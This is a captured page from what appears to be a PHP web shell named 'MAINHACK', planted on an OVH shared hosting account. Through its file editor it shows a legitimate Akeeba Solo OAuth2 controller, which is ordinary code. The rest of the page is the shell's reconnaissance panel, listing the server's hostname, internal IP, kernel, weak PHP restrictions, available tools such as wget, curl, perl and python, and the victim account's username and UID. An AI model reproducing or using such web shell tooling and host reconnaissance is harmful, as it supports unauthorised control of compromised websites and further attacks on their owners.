[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Oauth2.php
<?php /** * @package solo * @copyright Copyright (c)2014-2026 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace Solo\Controller; use Awf\Container\Container; use Awf\Mvc\DataView\Raw; use Awf\Text\Language; use Solo\Model\OAuth2\OAuth2Exception; use Solo\Model\OAuth2\OAuth2UriException; use Solo\Model\OAuth2\ProviderInterface; class Oauth2 extends ControllerDefault { public function __construct(?Container $container = null, ?Language $language = null) { parent::__construct($container, $language); $this->registerDefaultTask('step1'); $this->registerTask('step2', 'step2'); $this->registerTask('refresh', 'refresh'); } /** * Handle the first step of authentication: open the consent page * * @return void * @since 8.2.2 */ public function step1(): void { /** @var Raw $view */ $viewName = $this->input->get('view', $this->default_view); $view = $this->getView($viewName); $view->provider = $this->getProvider(); $view->step1url = $view->provider->getAuthenticationUrl(); $view->setLayout('step1'); $this->display(); } /** * Handle the second step of authentication: exchange the code for a set of tokens * * @return void * @since 8.2.2 */ public function step2(): void { /** @var Raw $view */ $viewName = $this->input->get('view', $this->default_view); $view = $this->getView($viewName); $provider = $this->getProvider(); $view->provider = $provider; try { $view->tokens = $provider->handleResponse($this->input); $view->setLayout('default'); } catch (OAuth2Exception $e) { $view->exception = $e; $view->setLayout('error'); } catch (OAuth2UriException $e) { /** @var \Solo\Model\OAuth2 $model */ $model = $this->getModel(); $model->redirect($e->getUrl()); } $this->display(false); } /** * Handle exchanging a refresh token for a new set of tokens * * @return void * @since 8.2.2 */ public function refresh(): void { $provider = $this->getProvider(); try { $tokens = $provider->handleRefresh($this->input); $ret = [ 'access_token' => $tokens['accessToken'], 'refresh_token' => $tokens['refreshToken'], 'error' => null, 'error_description' => null, 'error_url' => null, ]; } catch (OAuth2Exception $e) { $ret = [ 'access_token' => null, 'refresh_token' => null, 'error' => 'error', 'error_description' => $e->getMessage(), 'error_url' => null, ]; } catch (OAuth2UriException $e) { $ret = [ 'access_token' => null, 'refresh_token' => null, 'error' => 'error', 'error_description' => $e->getMessage(), 'error_url' => $e->getUrl(), ]; } @ob_end_clean(); header("Pragma: public"); header("Expires: 0"); header("Cache-Control: must-revalidate, post-check=0, pre-check=0"); header("Cache-Control: public", false); header('Content-type: application/json'); header('Connection: close'); echo json_encode($ret); $this->getContainer()->application->close(200); } /** * Returns the OAuth2 helper provider for the requested engine * * @return ProviderInterface * @since 8.2.2 */ protected function getProvider(): ProviderInterface { $engine = $this->input->get->getCmd('engine', ''); if (empty($engine)) { throw new \RuntimeException( $this->getContainer()->language->text('AWF_APPLICATION_ERROR_ACCESS_FORBIDDEN'), 403 ); } /** @var \Solo\Model\OAuth2 $model */ $model = $this->getModel(); if (!$model->isEnabled($engine)) { throw new \RuntimeException( $this->getContainer()->language->text('AWF_APPLICATION_ERROR_ACCESS_FORBIDDEN'), 403 ); } try { return $model->getProvider($engine); } catch (\InvalidArgumentException $e) { throw new \RuntimeException( $this->getContainer()->language->text('AWF_APPLICATION_ERROR_ACCESS_FORBIDDEN'), 403 ); } } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: webm021.cluster127.gra.hosting.ovh.net
Server IP: 10.127.20.21
PHP Version: 8.4.22
Server Software: Apache
System: Linux webm021.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
HDD Total: 14.32 GB
HDD Free: 8.45 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
Exists
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: vcomplcotr
User ID (UID): 38697
Group ID (GID): 100
Script Owner UID: 38697
Current Dir Owner: 38697